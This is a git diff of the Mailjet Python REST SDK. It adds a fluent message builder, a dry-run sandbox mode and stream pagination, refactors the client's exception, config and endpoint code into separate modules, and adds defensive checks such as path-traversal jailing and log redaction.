+from mailjet_rest.builders import MessageBuilder
+from mailjet_rest.types import SendV31Payload
+
+# Fluently construct an email
+message = (
+ MessageBuilder()
+ .set_sender("pilot@mailjet.com", "Mailjet Pilot")
+ .add_recipient("passenger@mailjet.com", "John Doe")
+ .add_cc("copilot@mailjet.com")
+ .set_subject("Your Boarding Pass")
+ .set_content(html="
Welcome aboard!
")
+ .attach_file("tickets/pass.pdf") # Automatically encodes and validates
+ .build()
+)
+
+payload: SendV31Payload = {
+ "Messages": [message],
+ "SandboxMode": True, # Remove to send a real message.
+}
+# Send via client
+mailjet.send.create(data=payload)
```
### Standard REST Actions (GET, POST, PUT, DELETE)
+> [!NOTE]\
+> All examples in this section assume that you have already opened a session using the context manager, for example: with Client(auth=(api_key, api_secret)) as mailjet:.
+
#### POST (Create)
##### Simple POST request
@@ -425,6 +507,18 @@ result = mailjet.contact_managecontactslists.create(id=id_, data=data)
print(result.json())
```
+##### Zero-Leak Sandbox Mode (dry_run)
+
+Developing locally? Stop accidentally sending emails to real users.
+Enable `dry_run=True` to safely intercept all network mutations (`POST`, `PUT`, `DELETE`).
+
+```python
+# Intercepts state-changing requests and injects SandboxMode where applicable
+with Client(auth=(api_key, api_secret), dry_run=True) as dry_run_client:
+ # This will NOT hit the actual database, returning a mock 200 OK safely
+ dry_run_client.contact.create(data={"Email": "real_user@example.com"})
+```
+
#### GET Request
##### Retrieve all objects
@@ -476,6 +570,16 @@ result = mailjet.contact.get(filters=filters)
print(result.json())
```
+##### Lazy Pagination (The .stream() method)
+
+Stop writing `while` loops to fetch thousands of contacts. Use `.stream()` to return a native Python Generator. The SDK will automatically manage `Limit`, `Offset`, and network pagination under the hood.
+
+```python
+# Fetch all contacts seamlessly. Memory-safe and clean.
+for contact in mailjet.contact.stream(chunk_size=500):
+ print(contact["Email"])
+```
+
#### PUT (Update / Patch specific fields)
A `PUT` request in the Mailjet API will work as a `PATCH` request - the update will affect only the specified properties. The other properties of an existing resource will neither be modified, nor deleted. It also means that all non-mandatory properties can be omitted from your payload.
@@ -549,22 +653,20 @@ Retrieve performance counters using `statcounters` or location-based statistics
from mailjet_rest import Client
import os
-mailjet = Client(
- auth=(
- os.environ.get("MJ_APIKEY_PUBLIC", ""),
- os.environ.get("MJ_APIKEY_PRIVATE", ""),
- )
+auth = (
+ os.environ.get("MJ_APIKEY_PUBLIC", ""),
+ os.environ.get("MJ_APIKEY_PRIVATE", ""),
)
-
-filters = {
- "CounterSource": "APIKey",
- "CounterTiming": "Message",
- "CounterResolution": "Lifetime",
-}
-# Getting general statistics
-result = mailjet.statcounters.get(filters=filters)
-print(result.status_code)
-print(result.json())
+with Client(auth=auth) as mailjet:
+ filters = {
+ "CounterSource": "APIKey",
+ "CounterTiming": "Message",
+ "CounterResolution": "Lifetime",
+ }
+ # Getting general statistics
+ result = mailjet.statcounters.get(filters=filters)
+ print(result.status_code)
+ print(result.json())
```
### Content API
@@ -577,11 +679,13 @@ The Content API (`v1`) allows managing templates, generating API tokens, and upl
```python
# Tokens endpoint requires Basic Auth initially
-client = Client(auth=(api_key, api_secret), version="v1")
-data = {"Name": "My Access Token", "Permissions": ["read_template", "create_template"]}
-
-result = client.token.create(data=data)
-print(result.json())
+with Client(auth=(api_key, api_secret), version="v1") as client:
+ data = {
+ "Name": "My Access Token",
+ "Permissions": ["read_template", "create_template"],
+ }
+ result = client.token.create(data=data)
+ print(result.json())
```
#### Uploading an Image via Multipart Form-Data
diff --git a/SECURITY.md b/SECURITY.md
index 35dc6ec..6d54b60 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -6,8 +6,8 @@ We currently provide security updates only for the active major version of the M
| Version | Supported |
| ------- | ------------------ |
-| 1.6.x | :white_check_mark: |
-| \<1.6.0 | :x: |
+| 1.7.x | :white_check_mark: |
+| \<1.7.0 | :x: |
# Vulnerability Disclosure
diff --git a/conda.recipe/meta.yaml b/conda.recipe/meta.yaml
index 48aa540..11a96fe 100644
--- a/conda.recipe/meta.yaml
+++ b/conda.recipe/meta.yaml
@@ -31,21 +31,22 @@ requirements:
run:
- python
- requests >=2.33.0
- - typing-extensions >=4.7.1 # [py<311]
+ - typing-extensions >=4.7.1 # [py<312]
test:
imports:
- mailjet_rest
- mailjet_rest.utils
- - samples
source_files:
- tests/unit/
requires:
+ - hypothesis
- pip
- pytest
+ - responses
commands:
- pip check
- - pytest tests/unit/ -v
+ - pytest tests/unit/ -v -m "not property_heavy"
about:
home: {{ project['urls']['Homepage'] }}
diff --git a/environment-dev.yaml b/environment-dev.yaml
index ef7a1ee..59e983d 100644
--- a/environment-dev.yaml
+++ b/environment-dev.yaml
@@ -13,8 +13,9 @@ dependencies:
- requests >=2.33.0
- typing-extensions>=4.7.1 # [py<311]
# tests
- - pyfakefs
- coverage >=4.5.4
+ - hypothesis
+ - pyfakefs
- pytest >=9.0.3
- pytest-benchmark
- pytest-cov
@@ -33,6 +34,7 @@ dependencies:
- python-dotenv >=1.2.2
- types-jsonschema
- pip:
+ - atheris
- bandit
- scalene >=1.3.16
- snakeviz
diff --git a/mailjet_rest/__init__.py b/mailjet_rest/__init__.py
index 79eff68..4d31314 100644
--- a/mailjet_rest/__init__.py
+++ b/mailjet_rest/__init__.py
@@ -1,36 +1,37 @@
-"""The `mailjet_rest` package provides a Python client for interacting with the Mailjet API.
+"""Mailjet REST API Python Wrapper."""
-This package includes the main `Client` class for handling API requests, along with
-utility functions for version management. The package exposes a consistent interface
-for Mailjet API operations.
-
-Attributes:
- __version__ (str): The current version of the `mailjet_rest` package.
- __all__ (list): Specifies the public API of the package, including `Client`
- for API interactions and `get_version` for retrieving version information.
-
-Modules:
- - client: Defines the main API client.
- - utils.version: Provides version management functionality.
-"""
-
-from mailjet_rest.client import ApiError
-from mailjet_rest.client import Client
-from mailjet_rest.client import Config
-from mailjet_rest.client import CriticalApiError
-from mailjet_rest.client import Endpoint
-from mailjet_rest.client import TimeoutError # noqa: A004
+from mailjet_rest.client import Client, Config
+from mailjet_rest.errors import (
+ ActionDeniedError,
+ ApiError,
+ ApiRateLimitError,
+ AuthorizationError,
+ CriticalApiError,
+ DoesNotExistError,
+ MailjetApiError,
+ MailjetAuthError,
+ MailjetNetworkError,
+ TimeoutError, # noqa: A004
+ ValidationError,
+)
from mailjet_rest.utils.version import get_version
__version__: str = get_version()
__all__ = [
+ "ActionDeniedError",
"ApiError",
+ "ApiRateLimitError",
+ "AuthorizationError",
"Client",
"Config",
"CriticalApiError",
- "Endpoint",
+ "DoesNotExistError",
+ "MailjetApiError",
+ "MailjetAuthError",
+ "MailjetNetworkError",
"TimeoutError",
+ "ValidationError",
"get_version",
]
diff --git a/mailjet_rest/_version.py b/mailjet_rest/_version.py
index df44d33..d81298f 100644
--- a/mailjet_rest/_version.py
+++ b/mailjet_rest/_version.py
@@ -1 +1 @@
-__version__ = "1.6.0"
\ No newline at end of file
+__version__ = "1.6.0.post1.dev23"
diff --git a/mailjet_rest/builders.py b/mailjet_rest/builders.py
new file mode 100644
index 0000000..1b0a47a
--- /dev/null
+++ b/mailjet_rest/builders.py
@@ -0,0 +1,275 @@
+"""Module for constructing complex Mailjet API payloads."""
+
+from __future__ import annotations
+
+import base64
+import json
+import mimetypes
+import sys
+from typing import TYPE_CHECKING, Any
+
+
+if sys.version_info >= (3, 11):
+ from typing import Self
+else:
+ from typing_extensions import Self
+
+from mailjet_rest.utils.guardrails import SecurityGuard
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+ from mailjet_rest.types import SendV31Message
+
+
+class MessageBuilder:
+ """Fluent builder for Mailjet Send API v3.1 payloads."""
+
+ __slots__ = ("_msg",)
+
+ def __init__(self) -> None:
+ """Initialize an empty message payload."""
+ self._msg: dict[str, Any] = {}
+
+ def set_sender(self, email: str, name: str | None = None) -> Self:
+ """Set a sender.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ self._msg["From"] = {"Email": email}
+ if name:
+ self._msg["From"]["Name"] = name
+ return self
+
+ def add_recipient(self, email: str, name: str | None = None) -> Self:
+ """Add a recipient.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ if "To" not in self._msg:
+ self._msg["To"] = []
+ recipient = {"Email": email}
+ if name:
+ recipient["Name"] = name
+ self._msg["To"].append(recipient)
+ return self
+
+ def add_cc(self, email: str, name: str | None = None) -> Self:
+ """Add a Carbon Copy (Cc) recipient.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ if "Cc" not in self._msg:
+ self._msg["Cc"] = []
+ recipient = {"Email": email}
+ if name:
+ recipient["Name"] = name
+ self._msg["Cc"].append(recipient)
+ return self
+
+ def add_bcc(self, email: str, name: str | None = None) -> Self:
+ """Add a Blind Carbon Copy (Bcc) recipient.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ if "Bcc" not in self._msg:
+ self._msg["Bcc"] = []
+ recipient = {"Email": email}
+ if name:
+ recipient["Name"] = name
+ self._msg["Bcc"].append(recipient)
+ return self
+
+ def set_reply_to(self, email: str, name: str | None = None) -> Self:
+ """Set the Reply-To address.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ self._msg["ReplyTo"] = {"Email": email}
+ if name:
+ self._msg["ReplyTo"]["Name"] = name
+ return self
+
+ def set_subject(self, subject: str) -> Self:
+ """Set the email subject line.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ self._msg["Subject"] = subject
+ return self
+
+ def set_content(self, text: str | None = None, html: str | None = None) -> Self:
+ """Set TextPart or HTMLPart content.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ if text is not None:
+ self._msg["TextPart"] = text
+ if html is not None:
+ self._msg["HTMLPart"] = html
+ return self
+
+ def set_headers(self, headers: dict[str, str]) -> Self:
+ """Set custom headers (e.g., Reply-To, X-Custom).
+
+ Args:
+ headers (dict[str, str]): Custom key-value string pairs.
+
+ Returns:
+ Self: The builder instance for method chaining.
+ """
+ self._msg["Headers"] = headers
+ return self
+
+ def set_template(self, template_id: int, enable_language: bool = True) -> Self:
+ """Use a pre-defined Mailjet Template.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ self._msg["TemplateID"] = template_id
+ self._msg["TemplateLanguage"] = enable_language
+ return self
+
+ def set_variables(self, variables: dict[str, Any]) -> Self:
+ """Inject template variables.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ self._msg["Variables"] = variables
+ return self
+
+ def attach_file(self, file_path: str | Path, safe_base_dir: str | Path | None = None) -> Self:
+ """Safely read, encode, and attach a local file.
+
+ Args:
+ file_path: The target file to attach.
+ safe_base_dir: Jails the path resolution to prevent CWE-22 Path Traversal.
+
+ Returns:
+ The builder instance for method chaining.
+ """
+ # 1. Security Check: Path Traversal & Existence
+ path = SecurityGuard.validate_attachment_path(file_path, safe_base_dir)
+
+ # 2. Security Check: Resource Exhaustion (OOM Prevention)
+ SecurityGuard.check_file_size(path)
+
+ mime_type, _ = mimetypes.guess_type(path)
+ b64_content = base64.b64encode(path.read_bytes()).decode("utf-8")
+
+ if "Attachments" not in self._msg:
+ self._msg["Attachments"] = []
+
+ self._msg["Attachments"].append(
+ {
+ "ContentType": mime_type or "application/octet-stream",
+ "Filename": path.name,
+ "Base64Content": b64_content,
+ }
+ )
+ return self
+
+ def build(self) -> SendV31Message:
+ """Validate and return the message payload.
+
+ Returns:
+ SendV31Message message payload.
+ """
+ if "From" not in self._msg:
+ msg = "Message validation failed: Sender (From) is required."
+ raise ValueError(msg)
+ if not self._msg.get("To"):
+ msg = "Message validation failed: At least one recipient (To) is required."
+ raise ValueError(msg)
+ if "TextPart" not in self._msg and "HTMLPart" not in self._msg and "TemplateID" not in self._msg:
+ msg = "Message validation failed: TextPart, HTMLPart, or TemplateID is required."
+ raise ValueError(msg)
+ if "Variables" in self._msg and len(json.dumps(self._msg["Variables"])) > 1024 * 1024:
+ msg = "Security Violation: Variables payload too large."
+ raise ValueError(msg)
+
+ return self._msg # type: ignore[return-value]
+
+
+class TemplateContentBuilder:
+ """Builder for /template/{id}/contents API payloads."""
+
+ __slots__ = ("_data",)
+
+ def __init__(self) -> None:
+ """Initialize an empty template contents data payload descriptor."""
+ self._data: dict[str, Any] = {}
+
+ def set_meta(self, author: str | None = None, name: str | None = None, locale: str = "en_US") -> Self:
+ """Set core template identity and structural configuration attributes.
+
+ Args:
+ author (str | None): Optional author identifier name.
+ name (str | None): Optional unique template layout identifier name.
+ locale (str): Language and country locale definition (default: "en_US").
+
+ Returns:
+ Self: The builder instance for method chaining.
+ """
+ if author:
+ self._data["Author"] = author
+ if name:
+ self._data["Name"] = name
+ self._data["Locale"] = locale
+ return self
+
+ def set_content(self, text: str | None = None, html: str | None = None, mjml: str | None = None) -> Self:
+ """Set content keys as per API documentation.
+
+ Args:
+ text (str | None): Plain text part component.
+ html (str | None): Rendered raw HTML layout sequence.
+ mjml (str | None): Semantic responsive MJML markup representation.
+
+ Returns:
+ Self: The builder instance for method chaining.
+ """
+ if text:
+ self._data["TextPart"] = text
+ if html:
+ self._data["HTMLPart"] = html
+ if mjml:
+ self._data["MJMLContent"] = mjml
+ return self
+
+ def set_headers(self, headers: dict[str, str]) -> Self:
+ """Sets the Headers JSON object structure crossing the ingress gate.
+
+ Args:
+ headers (dict[str, str]): Custom key-value structural protocol attributes.
+
+ Returns:
+ Self: The builder instance for method chaining.
+ """
+ self._data["Headers"] = headers
+ return self
+
+ def build(self) -> dict[str, Any]:
+ """Validate and return the completed templates engine schema dictionary.
+
+ Returns:
+ dict[str, Any]: Fully validated parsed dynamic payload payload mapping.
+
+ Raises:
+ ValueError: If no valid text, html or mjml boundary tokens are passed.
+ """
+ if not any(k in self._data for k in ("TextPart", "HTMLPart", "MJMLContent")):
+ msg = "Template validation failed: At least one of text, html, or mjml content is required."
+ raise ValueError(msg)
+
+ return self._data
diff --git a/mailjet_rest/client.py b/mailjet_rest/client.py
index 9a2cacb..9d162d0 100644
--- a/mailjet_rest/client.py
+++ b/mailjet_rest/client.py
@@ -12,32 +12,35 @@
import sys
import warnings
from contextlib import suppress
-from dataclasses import dataclass
-from dataclasses import field
-from types import MappingProxyType
-from typing import TYPE_CHECKING
-from typing import Any
-from typing import ClassVar
-from typing import Final
-from typing import Literal
-from typing import TypeAlias
-from typing import cast
-from urllib.parse import quote
+from typing import TYPE_CHECKING, Any, ClassVar, cast
import requests # pyright: ignore[reportMissingModuleSource]
-from requests.adapters import HTTPAdapter
-from requests.exceptions import ConnectionError as RequestsConnectionError
-from requests.exceptions import RequestException
-from requests.exceptions import Timeout as RequestsTimeout
+from requests.exceptions import ConnectionError as RequestsConnectionError, RequestException, Timeout as RequestsTimeout
from urllib3.util.retry import Retry
-from mailjet_rest._version import __version__
-from mailjet_rest.utils.guardrails import SecurityGuard
+from mailjet_rest.config import Config
+from mailjet_rest.endpoint import Endpoint
+from mailjet_rest.errors import (
+ ActionDeniedError,
+ ApiError,
+ ApiRateLimitError,
+ AuthorizationError,
+ CriticalApiError,
+ DoesNotExistError,
+ MailjetAuthError,
+ TimeoutError, # noqa: A004
+ ValidationError,
+)
+from mailjet_rest.routes import ROUTE_MAP
+from mailjet_rest.types import _ALLOWED_TRACE_FIELDS
+from mailjet_rest.utils.guardrails import RedactingFilter, SecureHTTPAdapter, SecurityGuard
if TYPE_CHECKING:
from types import TracebackType
+ from mailjet_rest.types import HttpMethod, PayloadType, TimeoutType
+
if sys.version_info >= (3, 11):
from typing import Self
@@ -61,61 +64,9 @@
"parse_response",
]
-# ==========================================
-# Types & Constants
-# ==========================================
-
-TimeoutType: TypeAlias = int | float | tuple[float, float] | None
-PayloadType: TypeAlias = dict[str, Any] | list[Any] | str | None
-HttpMethod: TypeAlias = Literal["GET", "POST", "PUT", "DELETE"]
-
-_DEFAULT_TIMEOUT: Final[int] = 60
-_JSON_HEADERS: Final = MappingProxyType({"Content-Type": "application/json"})
-_TEXT_HEADERS: Final = MappingProxyType({"Content-Type": "text/plain"})
-
logger = logging.getLogger(__name__)
-# ==========================================
-# Exceptions
-# ==========================================
-
-
-class ApiError(Exception):
- """Base class for all API-related network errors."""
-
-
-class CriticalApiError(ApiError):
- """Error raised for critical API connection failures."""
-
-
-class TimeoutError(ApiError): # noqa: A001
- """Error raised when an API request times out."""
-
-
-# --- Deprecated Legacy Exceptions ---
-
-
-class AuthorizationError(ApiError):
- """Deprecated: The SDK natively returns the requests.Response object for 401."""
-
-
-class ActionDeniedError(ApiError):
- """Deprecated: The SDK natively returns the requests.Response object for 403."""
-
-
-class DoesNotExistError(ApiError):
- """Deprecated: The SDK natively returns the requests.Response object for 404."""
-
-
-class ValidationError(ApiError):
- """Deprecated: The SDK natively returns the requests.Response object for 400."""
-
-
-class ApiRateLimitError(ApiError):
- """Deprecated: The SDK natively returns the requests.Response object for 429."""
-
-
# ==========================================
# Utilities
# ==========================================
@@ -190,367 +141,6 @@ def parse_response(
return data
-# ==========================================
-# Configuration & State
-# ==========================================
-
-
-@dataclass(slots=True, kw_only=True)
-class Config:
- """Configuration settings for interacting with the Mailjet API.
-
- Attributes:
- ALLOWED_ROOT_DOMAIN (ClassVar[str]): The permitted root domain to prevent SSRF.
- version (str): The API version to use (e.g., 'v3', 'v3.1', 'v1').
- api_url (str): The base URL for the Mailjet API.
- user_agent (str): The User-Agent string sent with API requests.
- timeout (TimeoutType): Request timeout in seconds.
- """
-
- ALLOWED_ROOT_DOMAIN: ClassVar[str] = "mailjet.com"
-
- version: str = "v3"
- api_url: str = "https://api.mailjet.com/"
- user_agent: str = f"mailjet-apiv3-python/v{__version__}"
- timeout: TimeoutType = _DEFAULT_TIMEOUT
-
- def __post_init__(self) -> None:
- """Validate configuration for secure transport and resource limits (OWASP Input Validation).
-
- Raises:
- ValueError: If the URL scheme is insecure or timeout bounds are violated.
- """
- SecurityGuard.validate_config_url(self.api_url, allowed_root_domain=self.ALLOWED_ROOT_DOMAIN)
-
- if not self.api_url.endswith("/"):
- self.api_url += "/"
-
- def _validate_timeout(t: float) -> None:
- if t <= 0 or t > 300:
- err_msg = f"Timeout values must be strictly between 1 and 300 seconds, got {t}."
- raise ValueError(err_msg)
-
- if self.timeout is not None:
- if isinstance(self.timeout, tuple):
- # type: ignore[unreachable]
- if len(self.timeout) != 2:
- msg = f"Timeout tuple must contain exactly two elements, got {self.timeout}."
- raise ValueError(msg)
- for t_val in self.timeout:
- _validate_timeout(t_val)
- else:
- _validate_timeout(cast("float", self.timeout))
-
- def __getitem__(self, key: str) -> tuple[str, dict[str, str]]:
- """Retrieve the base API endpoint URL and default headers for a given key.
-
- Args:
- key (str): The raw endpoint key name.
-
- Returns:
- tuple[str, dict[str, str]]: A tuple containing the base URL and the headers dictionary.
- """
- action = key.split("_", maxsplit=1)[0]
- name_lower = key.lower()
-
- if name_lower == "send":
- url = f"{self.api_url}{self.version}/send"
- elif name_lower.endswith(("_csvdata", "_csverror")):
- url = f"{self.api_url}{self.version}/DATA/{action}"
- elif key.lower().startswith("data_"):
- action_path = key.replace("_", "/")
- url = f"{self.api_url}{self.version}/{action_path}"
- else:
- url = f"{self.api_url}{self.version}/REST/{action}"
-
- # Utilize the pre-allocated constants to save dictionary creation overhead
- headers = dict(_TEXT_HEADERS) if name_lower.endswith("_csvdata") else dict(_JSON_HEADERS)
-
- return url, headers
-
-
-# ==========================================
-# Routing & Endpoints
-# ==========================================
-
-
-@dataclass(slots=True)
-class Endpoint:
- """A class representing a specific Mailjet API endpoint.
-
- This class provides methods to execute standard HTTP operations (GET, POST, PUT, DELETE)
- dynamically based on the requested resource.
- """
-
- client: Client
- name: str
- _name_lower: str = field(init=False)
- _action_parts: list[str] = field(init=False)
- _resource_lower: str = field(init=False)
-
- def __post_init__(self) -> None:
- """Pre-compute routing strings ONCE instead of on every network call."""
- self._name_lower = self.name.lower()
- parts = self.name.split("_")
-
- # Base resource ignores CamelCase-to-dash conversion (matches legacy behavior)
- self._resource_lower = parts[0].lower()
- self._action_parts = [self._resource_lower]
-
- # Re-implement camelCase-to-dash conversion natively for sub-actions
- if len(parts) > 1:
- for part in parts[1:]:
- # Convert 'linkClick' to 'link-click' natively
- dashed = "".join("-" + c.lower() if c.isupper() else c for c in part)
- self._action_parts.append(dashed.lstrip("-"))
-
- @staticmethod
- def _build_csv_url(base_url: str, version: str, resource: str, name_lower: str, id_val: int | str | None) -> str:
- """Construct the URL for CSV data endpoints.
-
- Args:
- base_url (str): The base API URL.
- version (str): The API version.
- resource (str): The base resource name.
- name_lower (str): The lowercase endpoint name.
- id_val (int | str | None): The primary resource ID.
-
- Returns:
- str: The fully constructed CSV endpoint URL.
- """
- url = f"{base_url}/{version}/DATA/{resource}"
- if id_val is not None:
- safe_id = quote(str(id_val), safe="@+")
- suffix = "CSVData/text:plain" if name_lower.endswith("_csvdata") else "CSVError/text:csv"
- url += f"/{safe_id}/{suffix}"
- return url
-
- def _build_url(self, id_val: int | str | None = None, action_id: int | str | None = None) -> str:
- """Construct the URL for the specific API request.
-
- Args:
- id_val (int | str | None): The primary resource ID.
- action_id (int | str | None): The sub-action ID.
-
- Returns:
- str: The fully qualified URL.
- """
- base_url = self.client.config.api_url.rstrip("/")
- version = self.client.config.version
-
- # Read from pre-computed slots (O(1) access time)
- name_lower = self._name_lower
- action_parts = self._action_parts
- resource_lower = self._resource_lower
- resource = action_parts[0]
-
- SecurityGuard.validate_dx_routing(version, name_lower, resource_lower)
-
- if name_lower == "send":
- return f"{base_url}/{version}/send"
-
- if name_lower.endswith(("_csvdata", "_csverror")):
- return self._build_csv_url(base_url, version, resource, name_lower, id_val)
-
- if resource_lower == "data":
- action_path = "/".join(action_parts)
- url = f"{base_url}/{version}/{action_path}"
- else:
- url = f"{base_url}/{version}/REST/{resource}"
-
- if id_val is not None:
- safe_id = quote(str(id_val), safe="@+")
- url += f"/{safe_id}"
-
- if len(action_parts) > 1 and resource_lower != "data":
- sub_action = "/".join(action_parts[1:]) if version == "v1" else "-".join(action_parts[1:])
- url += f"/{sub_action}"
-
- if action_id is not None:
- safe_action_id = quote(str(action_id), safe="")
- url += f"/{safe_action_id}"
-
- return url
-
- def _build_headers(self, custom_headers: dict[str, str] | None = None) -> dict[str, str]:
- """Build headers based on the endpoint requirements.
-
- Args:
- custom_headers (dict[str, str] | None): Custom headers to merge.
-
- Returns:
- dict[str, str]: The finalized HTTP headers.
- """
- # Select the base immutable mapping proxy
- base_headers = _TEXT_HEADERS if self._name_lower.endswith("_csvdata") else _JSON_HEADERS
-
- if custom_headers:
- SecurityGuard.validate_crlf_headers(custom_headers)
- return {**base_headers, **custom_headers}
-
- return dict(base_headers)
-
- def __call__(
- self,
- method: HttpMethod = "GET",
- filters: dict[str, Any] | None = None,
- data: PayloadType = None,
- headers: dict[str, str] | None = None,
- id: int | str | None = None, # noqa: A002
- action_id: int | str | None = None,
- timeout: TimeoutType = None, # noqa: PYI041
- ensure_ascii: bool | None = None,
- data_encoding: str | None = None,
- **kwargs: Any,
- ) -> requests.Response:
- """Execute the API call directly.
-
- Args:
- method (HttpMethod, optional): The HTTP method. Defaults to "GET".
- filters (dict[str, Any] | None, optional): Query parameters to append to the URL.
- data (PayloadType, optional): The payload for the request body.
- headers (dict[str, str] | None, optional): Additional HTTP headers to send.
- id (int | str | None, optional): The primary resource ID.
- action_id (int | str | None, optional): The secondary ID or action string for nested resources.
- timeout (TimeoutType, optional): Custom timeout for this request.
- ensure_ascii (bool | None, optional): Deprecated. Ensure ASCII serialization.
- data_encoding (str | None, optional): Deprecated. Target encoding string for the payload.
- **kwargs (Any): Additional parameters passed to `requests.Session.request`.
-
- Returns:
- requests.Response: The HTTP response from the Mailjet API.
- """
- if id is None and action_id is not None:
- id = action_id # noqa: A001
- action_id = None
-
- if filters is None and "filter" in kwargs:
- filters = kwargs.pop("filter")
- elif "filter" in kwargs:
- kwargs.pop("filter")
-
- return self.client.api_call(
- method=method,
- url=self._build_url(id_val=id, action_id=action_id),
- filters=filters,
- data=data,
- headers=self._build_headers(headers),
- timeout=timeout if timeout is not None else self.client.config.timeout,
- ensure_ascii=ensure_ascii,
- data_encoding=data_encoding,
- **kwargs,
- )
-
- def get(
- self,
- id: int | str | None = None, # noqa: A002
- filters: dict[str, Any] | None = None,
- action_id: int | str | None = None,
- **kwargs: Any,
- ) -> requests.Response:
- """Perform a GET request to retrieve resources.
-
- Args:
- id (int | str | None): The primary resource ID.
- filters (dict[str, Any] | None): Query parameters.
- action_id (int | str | None): The sub-action ID.
- **kwargs (Any): Additional arguments.
-
- Returns:
- requests.Response: The HTTP response from the API.
- """
- return self(method="GET", id=id, filters=filters, action_id=action_id, **kwargs)
-
- def create(
- self,
- data: PayloadType = None,
- id: int | str | None = None, # noqa: A002
- action_id: int | str | None = None,
- ensure_ascii: bool | None = None,
- data_encoding: str | None = None,
- **kwargs: Any,
- ) -> requests.Response:
- """Perform a POST request to create a new resource.
-
- Args:
- data (PayloadType): Request payload.
- id (int | str | None): The primary resource ID.
- action_id (int | str | None): The sub-action ID.
- ensure_ascii (bool | None): Ensure ASCII serialization (Deprecated).
- data_encoding (str | None): Data encoding string (Deprecated).
- **kwargs (Any): Additional arguments.
-
- Returns:
- requests.Response: The HTTP response from the API.
- """
- if ensure_ascii is not None or data_encoding is not None:
- msg = (
- "'ensure_ascii' and 'data_encoding' are deprecated and will be removed in future releases. "
- "The underlying requests library handles serialization natively."
- )
- warnings.warn(msg, DeprecationWarning, stacklevel=2)
- return self(
- method="POST",
- data=data,
- id=id,
- action_id=action_id,
- ensure_ascii=ensure_ascii,
- data_encoding=data_encoding,
- **kwargs,
- )
-
- def update(
- self,
- id: int | str, # noqa: A002
- data: PayloadType = None,
- action_id: int | str | None = None,
- ensure_ascii: bool | None = None,
- data_encoding: str | None = None,
- **kwargs: Any,
- ) -> requests.Response:
- """Perform a PUT request to update an existing resource.
-
- Args:
- id (int | str): The primary resource ID.
- data (PayloadType): Updated payload.
- action_id (int | str | None): The sub-action ID.
- ensure_ascii (bool | None): Ensure ASCII serialization (Deprecated).
- data_encoding (str | None): Data encoding string (Deprecated).
- **kwargs (Any): Additional arguments.
-
- Returns:
- requests.Response: The HTTP response from the API.
- """
- if ensure_ascii is not None or data_encoding is not None:
- msg = (
- "'ensure_ascii' and 'data_encoding' are deprecated and will be removed in future releases. "
- "The underlying requests library handles serialization natively."
- )
- warnings.warn(msg, DeprecationWarning, stacklevel=2)
- return self(
- method="PUT",
- id=id,
- data=data,
- action_id=action_id,
- ensure_ascii=ensure_ascii,
- data_encoding=data_encoding,
- **kwargs,
- )
-
- def delete(self, id: int | str, action_id: int | str | None = None, **kwargs: Any) -> requests.Response: # noqa: A002
- """Perform a DELETE request to remove a resource.
-
- Args:
- id (int | str): The primary resource ID.
- action_id (int | str | None): The sub-action ID.
- **kwargs (Any): Additional arguments.
-
- Returns:
- requests.Response: The HTTP response from the API.
- """
- return self(method="DELETE", id=id, action_id=action_id, **kwargs)
-
-
# ==========================================
# Core Client Interface
# ==========================================
@@ -575,50 +165,6 @@ class Client:
respect_retry_after_header=True, # To prevent aggressive polling
)
- _DYNAMIC_ENDPOINTS: ClassVar[tuple[str, ...]] = (
- "send",
- "contact",
- "contactdata",
- "contactmetadata",
- "contactslist",
- "contact_managemanycontacts",
- "contactfilter",
- "csvimport",
- "listrecipient",
- "campaign",
- "campaigndraft",
- "campaigndraft_schedule",
- "campaigndraft_send",
- "campaigndraft_test",
- "campaigndraft_detailcontent",
- "newsletter",
- "message",
- "messagehistory",
- "messageinformation",
- "template",
- "templates",
- "template_detailcontent",
- "templates_contents",
- "token",
- "data_images",
- "statcounters",
- "contactstatistics",
- "liststatistics",
- "statistics_linkClick",
- "statistics_recipientEsp",
- "geostatistics",
- "toplinkclicked",
- "eventcallbackurl",
- "parseroute",
- "dns",
- "dns_check",
- "sender",
- "sender_validate",
- "apikey",
- "user",
- "myprofile",
- )
-
config: Config
session: requests.Session
_endpoint_cache: dict[str, Endpoint]
@@ -652,12 +198,12 @@ def __init__(
self._endpoint_cache: dict[str, Endpoint] = {}
# Expand connection pool for high-throughput batching
- adapter = HTTPAdapter(max_retries=self._RETRY_STRATEGY, pool_connections=100, pool_maxsize=100)
+ adapter = SecureHTTPAdapter(max_retries=self._RETRY_STRATEGY, pool_connections=100, pool_maxsize=100)
self.session.mount("https://", adapter)
if auth is not None:
if isinstance(auth, tuple):
- if len(auth) != 2: # type: ignore[unreachable]
+ if len(auth) != 2:
msg = "Basic auth tuple must contain exactly two elements: (API_KEY, API_SECRET)."
raise ValueError(msg)
self.session.auth = (str(auth[0]).strip(), str(auth[1]).strip())
@@ -672,10 +218,17 @@ def __init__(
self.session.headers.update({"Authorization": f"Bearer {clean_token}"})
else:
msg = f"Invalid auth type: expected tuple, str, or None, got {type(auth).__name__}"
- raise TypeError(msg) # type: ignore[unreachable]
+ raise TypeError(msg)
self.session.headers.update({"User-Agent": self.config.user_agent})
+ if not any(isinstance(f, RedactingFilter) for f in logger.filters):
+ logger.addFilter(RedactingFilter())
+
+ # Activate the Runtime Security radar if explicitly allowed by the configuration
+ if getattr(self.config, "enable_security_audit", False):
+ SecurityGuard.enable_audit_logging()
+
def __enter__(self) -> Self:
"""Enter the context manager.
@@ -708,10 +261,20 @@ def __getattr__(self, name: str) -> Endpoint:
Returns:
Endpoint: An Endpoint instance for the requested resource.
"""
- SecurityGuard.validate_attribute_access(self.__class__.__qualname__, name)
+ # 1. Check Cache
+ if name in self._endpoint_cache:
+ return self._endpoint_cache[name]
+
+ # 2. Registry Check & Security Validation
+ # If it's not in the registry, we validate it via SecurityGuard.
+ # This keeps the "fail-fast" security behavior for unknown attributes.
+ if name not in ROUTE_MAP:
+ SecurityGuard.validate_attribute_access(self.__class__.__qualname__, name)
- if name not in self._endpoint_cache:
